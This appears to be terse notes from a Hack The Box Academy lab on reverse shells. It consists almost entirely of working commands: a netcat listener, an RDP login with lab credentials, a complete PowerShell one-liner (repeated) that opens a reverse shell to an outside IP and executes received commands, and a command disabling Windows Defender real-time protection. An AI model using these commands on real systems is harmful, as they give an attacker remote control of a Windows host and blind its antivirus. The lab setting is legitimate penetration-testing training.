With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.

attack box)sudo nc -lvnp 443
rdesktop 10.129.201.51 -d HTB -u htb-student -p 'HTB_@cademy_stdnt!'
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.15.122',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.15.122',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Set-MpPreference -DisableRealtimeMonitoring $true